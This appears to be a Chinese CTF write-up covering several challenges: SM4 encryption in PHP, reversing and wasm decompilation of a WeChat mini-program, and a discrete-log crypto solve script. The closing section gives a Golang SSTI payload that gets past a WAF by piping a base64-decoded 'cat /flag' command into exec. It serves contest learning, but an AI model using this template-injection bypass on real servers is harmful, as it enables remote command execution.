        $plaintext .= str_repeat(chr($padding), $padding); 
        $ciphertext = '';
        for ($i = 0; $i < strlen($plaintext); $i += 16) {
            $block = substr($plaintext, $i, 16);
            $ciphertext .= $this->cryptBlock($block, self::ENCRYPT);
        }
        return $ciphertext;
    }
    private function cryptBlock($block, $mode) {
        $x = $this->strToIntArray($block);

        for ($i = 0; $i < 32; $i++) {
            $roundKey = $this->sk[$i];
            $x[4] = $x[0] ^ $this->F($x[1], $x[2], $x[3], $roundKey);
            array_shift($x);
        }
        $x = array_reverse($x);
        return $this->intArrayToStr($x);
    }
    private function F($x1, $x2, $x3, $rk) {
        return $this->T($x1 ^ $x2 ^ $x3 ^ $rk);
    }
    private function CKF($a, $b, $c, $ck) {
        return $a ^ $this->T($b ^ $c ^ $ck);
    }
    private function T($x) {
        return $this->L($this->S($x));
    }
    private function S($x) {
        $result = 0;
        for ($i = 0; $i < 4; $i++) {
            $byte = ($x >> (24 - $i * 8)) & 0xFF;
            $result |= self::$SboxTable[$byte] << (24 - $i * 8);
        }
        return $result;
    }
    private function L($x) {
        return $x ^ $this->rotl($x, 2) ^ $this->rotl($x, 10) ^ $this->rotl($x, 18) ^ $this->rotl($x, 24);
    }
    private function rotl($x, $n) {
        return (($x << $n) & 0xFFFFFFFF) | (($x >> (32 - $n)) & 0xFFFFFFFF);
    }
    private function strToIntArray($str) {
        $result = [];
        for ($i = 0; $i < 4; $i++) {
            $offset = $i * 4;
            $result[$i] =
                (ord($str[$offset]) << 24) |
                (ord($str[$offset + 1]) << 16) |
                (ord($str[$offset + 2]) << 8) |
                ord($str[$offset + 3]);
        }
        return $result;
    }
    private function intArrayToStr($array) {
        $str = '';
        foreach ($array as $int) {
            $str .= chr(($int >> 24) & 0xFF);
            $str .= chr(($int >> 16) & 0xFF);
            $str .= chr(($int >> 8) & 0xFF);
            $str .= chr($int & 0xFF);
        }
        return $str;
    }
}
try {
    $key = "a8a58b78f41eeb6a";
    $sm4 = new SM4($key);
    $plaintext = "flag";
    $ciphertext = $sm4->encrypt($plaintext);
    echo  base64_encode($ciphertext) ; //VCWBIdzfjm45EmYFWcqXX0VpQeZPeI6Qqyjsv31yuPTDC80lhFlaJY2R3TintdQu
} catch (Exception $e) {
    echo $e->getMessage() ;
}
?>

hardtest

Ai可以直接出,入口

关键函数是sub_13E1 以及常量 byte_2120

以及函数 sub_12A9、sub_1313、 sub_12DE 和常量 byte_2020

这些关键的给 AI 就直接出结果了

Minigame

考点: 微信小程序解包,map 文件解包,wasm 还原

是一个微信小程序用 wxapkg 解包 ,然后把解包得到的 chunk_0.appservice.js.map 再次解包

可以发现核心在 utils/validator.js 中 ,在 util 目录发现了 validator.wasm ,然后通过工具 wasm-decompile

export memory a(initial: 258, max: 258); 
data d_a(offset: 1024) = 
 "\ff\f5\f8\fe\e2\ff\f8\fc\a9\fb\ab\ae\fa\ad\ac\a8\fa\ae\ab\a1\a1\af\ae\f8" 
 "\ac\af\ae\fc\a1\fa\a8\fb\fb\ad\fc\ac\aa\e4"; 
export function c(a:ubyte_ptr):int { // func0 
 var e:int; 
 var b:int_ptr; 
 var d:int; 
 var c:ubyte_ptr; 
 if ({ 
 d = a; 
 if (eqz(d & 3)) goto B_c; 
 0; 
 if (eqz(a[0])) goto B_a; 
 loop L_d { 
 a = a + 1; 
 if (eqz(a & 3)) goto B_c; 
 if (a[0]) continue L_d; 
 } 
 goto B_b; 
 label B_c: 
 loop L_e { 
 b = a; 
 a = b + 4; 
 if ( 
 ((16843008 - (e = b[0]) | e) & -2139062144) == -2139062144) continue L_e; 
 } 
 loop L_f { 
 a = b; 
 b = a + 1; 
 if (a[0]) continue L_f; 
 } 
 label B_b: 
 a - d; 
 label B_a: 
 } != 
 38) { 
 return 0 
 } 
 loop L_h { 
 a = c[1024] ^ (c + d)[0]:byte; 
 b = a == 153; 
 if (a != 153) goto B_i; 
 c = c + 1; 
 if (c != 38) continue L_h; 
 label B_i: 
 } 
 return b; 
} 
export function b() { // func1 
}

把这两个代码给AI就可以直接得到 flag

Newtrick

考点:对称加密算法和离散对数问题

由于有根据源码直接推出解密脚本

from hashlib import md5 
from Crypto.Cipher import AES 
p = 
115792089237316195423570985008687907853269984665640564039457584007913129639
747 
F = GF(p) 
Q = (123456789, 987654321, 135792468, 864297531) 
N_Q = F(sum(x * x for x in Q)) 
R = ( 
 
535805042719399545796962826381600584293083019277531395431476058825743363271
45, 
799913182452098376229457194675627969511376052122949799764791997934539620908
91, 
531268698891810405870372104622761160960325946775601453062691481560347571601
28, 
973680242303063998595227832922465096998302542946496684346049712134964678571
55 
) 
N_R = F(sum(x * x for x in R)) 
try: 
 secret = discrete_log(N_R, N_Q, bounds=(0, 2^50)) 
 print("[+] Secret found:", secret) 
except Exception as e: 
 print("[-] discrete_log failed:", e) 
 
 secret = 895942422329 
key = md5(str(secret).encode()).digest() 
cipher = AES.new(key, AES.MODE_ECB) 
try: 
 flag = cipher.decrypt(encrypted_flag) 
 print("[+] Flag:", flag) 
except Exception as e: 
 print("[-] failed:", _e)

SSTi模板注入,golang的SSTI,执行

{{.}}

回显

map[B64Decode:0x6ee380 exec:0x6ee120]

直接执行

{{exec "id"}}

能够执行id,但是其余的其它命令基本都无法执行,猜测后端代码WAF拦截直接输出原字符串,尝试绕过WAF

{{B64Decode "aGVsbG8="}}

可以成功回显hello,直接使用B64Decode绕过,构造payload读取flag

{{B64Decode "Y2F0IC9mbGFn" | exec}}